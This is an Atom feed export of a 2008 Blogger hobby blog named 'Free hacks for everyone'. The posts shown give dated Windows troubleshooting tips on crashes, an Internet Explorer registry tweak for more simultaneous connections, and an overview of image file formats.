<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2811100680510495731</id><updated>2012-02-16T19:17:33.481-08:00</updated><title type='text'>Free hacks for everyone</title><subtitle type='html'>Hacking guides, Hacking tools, Rapidshare Hacking, Hacking tutorials, Hacking solutions</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>96</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-8658955397672409817</id><published>2008-10-06T23:42:00.001-07:00</published><updated>2008-10-06T23:42:28.762-07:00</updated><title type='text'>10 reasons why the internet crashes!!</title><content type='html'>&lt;p&gt;&lt;font size="3"&gt;&lt;font color="#3366ff"&gt;Think of the time when you are working on an important document and suddenly your comp. crashes. You would be really not happy with this happening&amp;nbsp;to you. So here are some reasons why the PC crashes and how to handle the crashes&lt;strong&gt;.&lt;/strong&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;1 Hardware conflict&lt;br /&gt;&lt;br /&gt;&lt;/strong&gt;The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.&lt;br /&gt;&lt;br /&gt;For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.&lt;br /&gt;&lt;br /&gt;If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:&lt;br /&gt;&lt;br /&gt;* Start-Settings-Control Panel-System-Device Manager.&lt;br /&gt;&lt;br /&gt;Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.&lt;br /&gt;&lt;br /&gt;Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.&lt;br /&gt;&lt;br /&gt;When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.&lt;br /&gt;&lt;br /&gt;To be fair to Mcft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;font size="3"&gt;2 Bad Ram&lt;/font&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.&lt;br /&gt;&lt;br /&gt;But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.&lt;br /&gt;&lt;br /&gt;One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.&lt;br /&gt;&lt;br /&gt;Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.&lt;br /&gt;&lt;br /&gt;EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.&lt;br /&gt;&lt;br /&gt;&lt;font size="3"&gt;&lt;strong&gt;3 BIOS settings&lt;/strong&gt;&lt;br /&gt;&lt;/font&gt;Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.&lt;br /&gt;&lt;br /&gt;Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.&lt;br /&gt;&lt;br /&gt;A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.&lt;br /&gt;&lt;br /&gt;Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;font size="3"&gt;4 &lt;/font&gt;&lt;a class="kLink" id="KonaLink1" style="POSITION: static; TEXT-DECORATION: underline! important" href="http://marshalinfo-in.blogspot.com/search?updated-min=2008-01-01T00%3A00%3A00-08%3A00&amp;amp;updated-max=2009-01-01T00%3A00%3A00-08%3A00&amp;amp;max-results=50#" target="_new"&gt;&lt;font style="FONT-SIZE: 13px; COLOR: blue! important; FONT-FAMILY: Georgia,Times,serif; POSITION: static" color="blue"&gt;&lt;font size="3"&gt;&lt;span class="kLink" style="FONT-SIZE: 13px; COLOR: blue! important; FONT-FAMILY: Georgia,Times,serif; POSITION: static"&gt;Hard &lt;/span&gt;&lt;span class="kLink" style="FONT-SIZE: 13px; COLOR: blue! important; FONT-FAMILY: Georgia,Times,serif; POSITION: static"&gt;disk&lt;/span&gt;&lt;/font&gt;&lt;/font&gt;&lt;/a&gt;&lt;font size="3"&gt; drives&lt;/font&gt;&lt;/strong&gt;&lt;br /&gt;After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to&lt;br /&gt;&lt;br /&gt;* Start-Programs-Accessories-System Tools-Disk Defragmenter&lt;br /&gt;&lt;br /&gt;This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.&lt;br /&gt;&lt;br /&gt;The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).&lt;br /&gt;&lt;br /&gt;Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to&lt;br /&gt;&lt;br /&gt;* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.&lt;br /&gt;&lt;br /&gt;Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.&lt;br /&gt;&lt;br /&gt;Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to&lt;br /&gt;&lt;br /&gt;* Start-Programs-Accessories-System Tools-ScanDisk&lt;br /&gt;&lt;br /&gt;Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;font size="3"&gt;5 Fatal OE exceptions and VXD errors&lt;br /&gt;&lt;/font&gt;&lt;/strong&gt;&lt;br /&gt;Fatal OE exception errors and VXD errors are often caused by video card problems.&lt;br /&gt;&lt;br /&gt;These can often be resolved easily by reducing the resolution of the video display. Go to&lt;br /&gt;&lt;br /&gt;* Start-Settings-Control Panel-Display-Settings&lt;br /&gt;&lt;br /&gt;Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most &lt;a class="kLink" id="KonaLink2" style="POSITION: static; TEXT-DECORATION: underline! important" href="http://marshalinfo-in.blogspot.com/search?updated-min=2008-01-01T00%3A00%3A00-08%3A00&amp;amp;updated-max=2009-01-01T00%3A00%3A00-08%3A00&amp;amp;max-results=50#" target="_new"&gt;&lt;font style="FONT-WEIGHT: 400; FONT-SIZE: 13px; COLOR: blue! important; FONT-FAMILY: Georgia,Times,serif; POSITION: static"&gt;&lt;span class="kLink" style="FONT-WEIGHT: 400; FONT-SIZE: 13px; COLOR: blue! important; FONT-FAMILY: Georgia,Times,serif; POSITION: static"&gt;desktops&lt;/span&gt;&lt;/font&gt;&lt;/a&gt;, high colour 16-bit depth is adequate.&lt;br /&gt;&lt;br /&gt;If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to&lt;br /&gt;&lt;br /&gt;* Start-Settings-Control Panel-System-Device Manager&lt;br /&gt;&lt;br /&gt;Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.&lt;br /&gt;&lt;br /&gt;If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.&lt;br /&gt;&lt;br /&gt;The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.&lt;br /&gt;&lt;br /&gt;Another useful way to resolve video problems is to go to&lt;br /&gt;&lt;br /&gt;* Start-Settings-Control Panel-System-Performance-Graphics&lt;br /&gt;&lt;br /&gt;Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).&lt;br /&gt;&lt;br /&gt;Look up your video card's manufacturer on the internet and search for the most recent drivers for it.&lt;br /&gt;&lt;br /&gt;&lt;font size="3"&gt;&lt;strong&gt;6 Viruses&lt;/strong&gt;&lt;br /&gt;&lt;/font&gt;Often the first sign of a &lt;a class="kLink" id="KonaLink3" style="POSITION: static; TEXT-DECORATION: underline! important" href="http://marshalinfo-in.blogspot.com/search?updated-min=2008-01-01T00%3A00%3A00-08%3A00&amp;amp;updated-max=2009-01-01T00%3A00%3A00-08%3A00&amp;amp;max-results=50#" target="_new"&gt;&lt;font style="FONT-WEIGHT: 400; FONT-SIZE: 13px; COLOR: blue! important; FONT-FAMILY: Georgia,Times,serif; POSITION: static" color="blue"&gt;&lt;span class="kLink" style="FONT-WEIGHT: 400; FONT-SIZE: 13px; COLOR: blue! important; FONT-FAMILY: Georgia,Times,serif; POSITION: static"&gt;virus &lt;/span&gt;&lt;span class="kLink" style="FONT-WEIGHT: 400; FONT-SIZE: 13px; COLOR: blue! important; FONT-FAMILY: Georgia,Times,serif; POSITION: static"&gt;infection&lt;/span&gt;&lt;/font&gt;&lt;/a&gt; is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to&lt;br /&gt;&lt;br /&gt;* Start-Settings-Control Panel-Add/Remove Programs&lt;br /&gt;&lt;br /&gt;Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.&lt;br /&gt;&lt;br /&gt;A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the web-site of your antivirus software manufacturer.&lt;br /&gt;&lt;font size="3"&gt;&lt;strong&gt;7 Printers&lt;/strong&gt;&lt;br /&gt;&lt;/font&gt;&lt;br /&gt;The action of sending a document to print creates a bigger file, often called a postscript file.&lt;br /&gt;&lt;br /&gt;Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.&lt;br /&gt;&lt;br /&gt;If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.&lt;br /&gt;&lt;br /&gt;&lt;font size="3"&gt;&lt;strong&gt;8 Software&lt;/strong&gt;&lt;br /&gt;&lt;/font&gt;&lt;br /&gt;A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.&lt;br /&gt;&lt;br /&gt;The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000 , Windows Xp.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode.&lt;br /&gt;&lt;br /&gt;Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.&lt;br /&gt;&lt;br /&gt;Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.&lt;br /&gt;&lt;br /&gt;Remember to restore all the BIOS settings back to their former settings following installation.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;font size="3"&gt;9 Overheating&lt;/font&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;font size="3"&gt;10 &lt;/font&gt;&lt;a class="kLink" id="KonaLink4" style="POSITION: static; TEXT-DECORATION: underline! important" href="http://marshalinfo-in.blogspot.com/search?updated-min=2008-01-01T00%3A00%3A00-08%3A00&amp;amp;updated-max=2009-01-01T00%3A00%3A00-08%3A00&amp;amp;max-results=50#" target="_new"&gt;&lt;font style="FONT-SIZE: 13px; COLOR: blue! important; FONT-FAMILY: Georgia,Times,serif; POSITION: static" color="blue"&gt;&lt;font size="3"&gt;&lt;span class="kLink" style="FONT-SIZE: 13px; COLOR: blue! important; FONT-FAMILY: Georgia,Times,serif; POSITION: static"&gt;Power &lt;/span&gt;&lt;span class="kLink" style="FONT-SIZE: 13px; COLOR: blue! important; FONT-FAMILY: Georgia,Times,serif; POSITION: static"&gt;supply&lt;/span&gt;&lt;/font&gt;&lt;/font&gt;&lt;/a&gt;&lt;font size="3"&gt; problems&lt;/font&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.&lt;br /&gt;&lt;br /&gt;If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut.&lt;br /&gt;&lt;br /&gt;It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;&lt;font color="#ff0000"&gt;Note:&lt;/font&gt; There can also be many reasons&amp;nbsp;exept these so don&amp;rsquo;t rely on these totally&lt;/strong&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-8658955397672409817?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/8658955397672409817/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=8658955397672409817' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/8658955397672409817'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/8658955397672409817'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/10/10-reasons-why-internet-crashes.html' title='10 reasons why the internet crashes!!'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-6626041228658614114</id><published>2008-10-06T23:23:00.000-07:00</published><updated>2008-10-06T23:24:14.460-07:00</updated><title type='text'>Increase speed of internet explorer</title><content type='html'>&lt;style type="text/css"&gt;    body {         border-style: none;         background: Window;         color: WindowText;        }   #ljcutbegin {         width: 100%;         height: 1px;         border: 1px dashed black;   }   #ljcutend {         width: 100%;         height: 1px;         border: 1px dashed gray;   }   blockquote {     border-left: 3px solid silver;     padding-left: 10px;     margin-left: 10px;   }   .bjspell {     border-bottom: 1px dotted red;   } } &lt;/style&gt;&lt;p&gt;You always must have thought to increase the speed of http requests of  inernet explorer without much effort. So here is your wished fulfilled.&lt;/p&gt; &lt;p&gt;To comply with current Internet standards, Internet Explorer limits the  number of simultaneous downloads to two downloads, plus one queued download.  This configuration is a function of the browser. However, as connection speeds  increase, and the number of total connections that are allowed to Internet  servers increase, the two-connection limit may be restrictive.&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ff0000;"&gt;Please Note:&lt;/span&gt; Changing the maximum number of connections  beyond two is a violation of Internet standards; use at your own risk!&lt;br /&gt;&lt;br /&gt;To  increase the number of simultaneous connections that are allowed, follow these  steps:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;1. Start the Registry Editor&lt;br /&gt;2. Go to HKEY_CURRENT_USER  \ Software \ Microsoft \ Windows \ CurrentVersion \ Internet Settings&lt;br /&gt;3.  Select New &gt; DWORD Value from the Edit menu&lt;br /&gt;4. Name the new value  MaxConnectionsPer1_0Server&lt;br /&gt;5. Right-click the MaxConnectionsPer1_0Server  value and choose Modify&lt;br /&gt;6. Under Base, click the radio button next to  Decimal&lt;br /&gt;7. In the Value Data: box enter the number of simultaneous  connections you want to set (for example 10 is a good value), and 8. click  OK&lt;br /&gt;9. Repeat steps 3 - 7 using the new value MaxConnectionsPerServer&lt;br /&gt;10.  Exit the registry editor&lt;/strong&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-6626041228658614114?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/6626041228658614114/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=6626041228658614114' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/6626041228658614114'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/6626041228658614114'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/10/increase-speed-of-internet-explorer.html' title='Increase speed of internet explorer'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-560990224162693178</id><published>2008-10-06T23:01:00.001-07:00</published><updated>2008-10-06T23:04:54.949-07:00</updated><title type='text'>Image formats</title><content type='html'>&lt;font size="3"&gt;&lt;font face="Arial"&gt;&lt;strong&gt;There are many graphic file formats, if we include the proprietary types. The PNG, JPEG, and GIF formats are most often used to display images on the Internet. These graphic formats are listed and briefly described below, separated into the two main families of graphics&lt;/strong&gt;:&lt;font style="COLOR: rgb(51,204,0)"&gt; &lt;/font&gt;&lt;font style="COLOR: rgb(0,51,0)"&gt;&lt;font style="COLOR: rgb(51,204,0)"&gt;raster and vector&lt;/font&gt;.&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/font&gt;&lt;font face="Trebuchet MS"&gt;&lt;font size="5"&gt;&lt;font style="COLOR: rgb(0,0,102)"&gt;Image file formats&lt;/font&gt;&lt;font style="FONT-WEIGHT: bold"&gt;(raster)&lt;/font&gt;&lt;br /&gt;&lt;/font&gt;&lt;br /&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: rgb(0,0,153)"&gt;PNG&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;The PNG (Portable Network Graphics) file format is regarded and was made as the free and open successor to the GIF file format. The PNG file format supports true color (16 million colors) whereas the GIF file format only allows 256 colors. PNG excels when the image has large areas of uniform color. The lossless PNG format is best suited for editing pictures, and the lossy formats like JPG are best for final distribution of photographic-type images because of smaller file size. Many older browsers do not yet support the PNG file format. The Adam7-interlacing allows an early preview even when only a small percentage of the data of the image has been transmitted.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;font style="COLOR: rgb(0,0,255)"&gt;JPEG&lt;/font&gt;&lt;br /&gt;&lt;/strong&gt;The JPEG (Joint Photographic Experts Group) image files are a lossy format. The DOS filename extension is JPG, although other operating systems may use JPEG. Nearly all digital cameras have the option tosave images in JPEG format. The JPEG format supports 16-bit color and produces relatively small file sizes. Fortunately, the compression in most cases does not detract noticeably from the image. But JPEG files do suffer generational degradation when repeatedly edited and saved. Photographic images are best stored in a lossless non-JPEG format if they will be re-edited in future, or if the presence of small "artifacts" (blemishes), due to the nature of the JPEG compression algorithm, is unacceptable. JPEG is also used as the image compression algorithm in many Adobe PDF files. &lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;font style="COLOR: rgb(0,0,255)"&gt;TIFF&lt;/font&gt;&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;The TIFF (Tagged Image File Format) is a flexible image format that normally uses a filename extension of TIFF or TIF. TIFF's flexibility is both a feature and a curse, with no single reader capable of handling all the different varieties of TIFF files. TIFF can be lossy or lossless. Some types of TIFF offer relatively good &lt;br /&gt;lossless compression for bi-level (black and white, no grey) images. Some high-end digital cameras have the option to save images in the TIFF format, using the LZW compression algorithm for lossless storage. The TIFF image format is not widely supported by web browsers, and should not be used on the World Wide Web. TIFF is still widely accepted as a photograph file standard in the printing industry. TIFF is capable of handling device-specific color spaces, such as the CMYK defined by a particular set of printing press inks. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;font style="COLOR: rgb(0,0,255)"&gt;RAW&lt;/font&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/font&gt;&lt;/font&gt;&lt;font style="COLOR: rgb(0,0,255)"&gt;&lt;br /&gt;&lt;/font&gt;&lt;font face="Trebuchet MS" size="3"&gt;The RAW image format is a file option available on some digital cameras. It usually uses a lossless compression and produces file sizes much smaller than the TIFF format. Unfortunately, the RAW format is not standard among all camera manufacturers and some graphic programs and image editors may not accept the RAW format. The better graphic editors can read some manufacturer's RAW formats, and some (mostly higher-end) digital cameras also support saving &lt;br /&gt;images in the TIFF format directly. There are also separate tools available for converting digital camera raw image format files into other formats, one such tool being Dave Coffin's dcraw, which is made available under a combination of GNU General Public License and public domain licenses. &lt;br /&gt;&lt;br /&gt;Adobe's Digital Negative Specification is a recent (September 2004) attempt at standardizing the various "raw" file formats used by digital cameras.&lt;br /&gt;&lt;br /&gt;&lt;font style="COLOR: rgb(0,0,255)"&gt;&lt;strong&gt;GIF&lt;/strong&gt;&lt;/font&gt;&lt;br /&gt;&lt;/font&gt;&lt;font style="FONT-WEIGHT: bold"&gt;&lt;br /&gt;&lt;/font&gt;&lt;font face="Trebuchet MS" size="3"&gt;GIF (Graphic Interchange Format) is limited to an 8-bit palette, or 256 colors. This makes the GIF format suitable for storing graphics with relatively few colors such as simple diagrams, shapes and cartoon style images. The GIF format supports animation and is still widely used to provide image animation effects. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;font style="COLOR: rgb(0,0,255)"&gt;&lt;strong&gt;BMP&lt;/strong&gt;&lt;/font&gt;&lt;br /&gt;&lt;/font&gt;&lt;font style="COLOR: rgb(0,0,255)"&gt;&lt;br /&gt;&lt;/font&gt;&lt;font face="Trebuchet MS" size="3"&gt;The BMP (bit mapped) format is used internally in the Microsoft Windows operating system to handle graphics images. These files are typically not compressed resulting in large files. The main advantage of BMP files is their wide acceptance and use in Windows programs. Their large size makes them unsuitable for file transfer. Desktop backgrounds and images from scanners are usually stored in BMP files. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;font style="COLOR: rgb(0,0,255)"&gt;XPM&lt;/font&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/font&gt;&lt;font style="FONT-WEIGHT: bold"&gt;&lt;br /&gt;&lt;/font&gt;&lt;font face="Trebuchet MS" size="3"&gt;The XPM format is the default X Window System picture format (very popular in the Linux world). Its structure is based on the string format of the C programming language. Because XPM was designed to be human-readable, and is stored as uncompressed plain-text, the file size of these pictures can be more than twice as large as uncompressed binary bitmap files (such as BMP, uncompressed TIFF, MacOS-PICT, or Irix-RGB formats). This format is unsupported by most non-Unix software and operating systems (though many web-browsers retain display support for the XBM subset, which was the minimal image format in the early days of the WWW). &lt;br /&gt;&lt;/font&gt;&lt;font style="FONT-WEIGHT: bold"&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size="3"&gt;&lt;font face="Trebuchet MS"&gt;&lt;font style="COLOR: rgb(0,0,255)"&gt;&lt;font style="FONT-WEIGHT: bold"&gt;MrSID&lt;/font&gt;&lt;/font&gt;&lt;br /&gt;&lt;/font&gt;&lt;/font&gt;&lt;font style="COLOR: rgb(0,0,255)"&gt;&lt;br /&gt;&lt;/font&gt;&lt;font size="3"&gt;&lt;font face="Trebuchet MS"&gt;The MrSID (Multiresolution Seamless Image Database) format is a wavelet compression format used mostly by Geographic Information Systems to store massive satellite imagery for map software.&lt;br /&gt;&lt;br /&gt;&lt;font style="COLOR: rgb(0,0,255)"&gt;&lt;u&gt;Vector formats&lt;/u&gt;&lt;/font&gt;&lt;br /&gt;As opposed to the raster image formats above (where the data describes the characteristics of each individual pixel), vector image formats contain a geometric description which can be rendered smoothly at any desired display size. &lt;br /&gt;&lt;br /&gt;&lt;font style="FONT-WEIGHT: bold"&gt;&lt;font style="COLOR: rgb(0,0,255)"&gt;SVG&lt;/font&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;SVG (Scalable Vector Graphics) is an open standard created and developed by the World Wide Web Consortium to address the need (and attempts of several corporations) for a versatile, scriptable and all-purpose vector format for the web and otherwise. The SVG format does not have a compression scheme of its own, but due to the textual nature of XML, an SVG graphic can be compressed using a program such as gzip. Because of its scripting potential, SVG is a &lt;br /&gt;key component in web applications: interactive web pages that look and act like applications &lt;br /&gt;&lt;br /&gt;GIF and JPEG are currently the primary file types for graphics on the Internet. This article provides an overview of each of them, as well as when each format should be used.&lt;br /&gt;&lt;br /&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: rgb(0,0,255)"&gt;The GIF Format&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;The GIF format is one of the most popular formats on the Internet. Not only is the format excellent at compressing areas of images with large areas of the same color, but it is also the only option for putting animation online (unless you want to use Flash or other vector-based animation formats, which typically cost more). The GIF89a format also supports transparency, and interlacing. &lt;br /&gt;&lt;br /&gt;GIF files support a maximum of 256 colors, which makes them practical for almost all graphics except photographs. The most common method of reducing the size of GIF files is to reduce the number of colors on the palette. It is important to note that GIF already uses the LZW compression scheme internally to make images as small as possible without losing any data &lt;br /&gt;&lt;br /&gt;&lt;/font&gt;&lt;strong&gt;&lt;font face="Trebuchet MS"&gt;When to use them&lt;br /&gt;&lt;/font&gt;&lt;/strong&gt;&lt;/font&gt;&lt;font size="3"&gt;&lt;font face="Trebuchet MS"&gt;Generally, GIF files should be used for logos, line drawings and icons. Avoid using it for photographic images, and graphics which have long stretches of continuous-tone in them. When you're designing GIF files, avoid using gradients and turn off anti- aliasing where possible to minimize the file size. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: rgb(0,0,255)"&gt;The JPEG Format&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;The JPEG format, with its support for 16.7 million colors, is primarily intended for photographic images. The internal compression algorithm of the JPEG format, unlike the GIF format, actually throws out information. Depending on what settings you use, the thrown out data may or may not be visible to the eye. Once you lower the quality of an image, and save it, the extra data cannot be regained so be sure to save the orginal &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/font&gt;&lt;font face="Trebuchet MS"&gt;&lt;strong&gt;When to use&lt;br /&gt;&lt;/strong&gt;As a rule, the JPEG format should be used on photographic images, and images which do not look as good with only 256 